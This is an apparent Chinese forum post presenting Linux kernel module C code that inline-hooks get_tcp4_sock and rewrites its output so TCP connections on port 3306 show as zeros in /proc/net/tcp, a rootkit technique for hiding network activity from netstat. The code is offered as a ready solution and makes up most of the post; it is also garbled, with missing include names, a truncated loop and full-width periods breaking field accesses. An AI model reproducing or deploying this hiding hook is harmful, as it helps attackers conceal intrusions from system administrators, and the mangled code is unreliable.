直接inline hook住get_tcp4_sock这个函数就行了,只不过需要重新实现下get_tcp4_sock的功能,在作下过滤。比较简单,代码如下: #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include MODULE_LICENSE("GPL");MODULE_AUTHOR("wzt");__u32 wnps_in_aton(const char *str){unsigned long l;unsigned int val;int i;l = 0;for (i = 0; i daddr;__be32 src = inet->rcv_saddr;__u16 destp = ntohs(inet->dport);__u16 srcp = ntohs(inet->sport);printk("!! in new_get_tcp4_sock。
\n");if (icsk->icsk_pending == ICSK_TIME_RETRANS) {timer_active = 1;timer_expires = icsk->icsk_timeout;} else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {timer_active = 4;timer_expires = icsk->icsk_timeout;} else if (timer_pending(&sk->sk_timer)) {timer_active = 2;timer_expires = sk->sk_timer。
expires;} else {timer_active = 0;timer_expires = jiffies;}/*if (src == wnps_in_aton("127。0。0。1")) {printk("got 127。0。0。1");return ;}*/if (srcp == 3306 || destp == 3306) {printk("got 3306!\n");seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX ""%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",0, 0, 0, 0, 0, 0,tp->write_seq - tp->snd_una,sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :(tp->rcv_nxt - tp->copied_seq),timer_active,jiffies_to_clock_t(timer_expires - jiffies),icsk->icsk_retransmits,sock_i_uid(sk),icsk->icsk_probes_out,sock_i_ino(sk),atomic_read(&sk->sk_refcnt), sk,jiffies_to_clock_t(icsk->icsk_rto),jiffies_to_clock_t(icsk->icsk_ack。
ato),(icsk->icsk_ack。quick icsk_ack。pingpong,tp->snd_cwnd,tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,len);}else {seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX ""%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",i, src, srcp, dest, destp, sk->sk_state,tp->write_seq - tp->snd_una,sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :(tp->rcv_nxt - tp->copied_seq),timer_active,jiffies_to_clock_t(timer_expires - jiffies),icsk->icsk_retransmits,sock_i_uid(sk),icsk->icsk_probes_out,sock_i_ino(sk),atomic_read(&sk->sk_refcnt), sk,jiffies_to_clock_t(icsk->icsk_rto),jiffies_to_clock_t(icsk->icsk_ack。
ato),(icsk->icsk_ack。quick icsk_ack。pingpong,tp->snd_cwnd,tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,len);}} 。
全部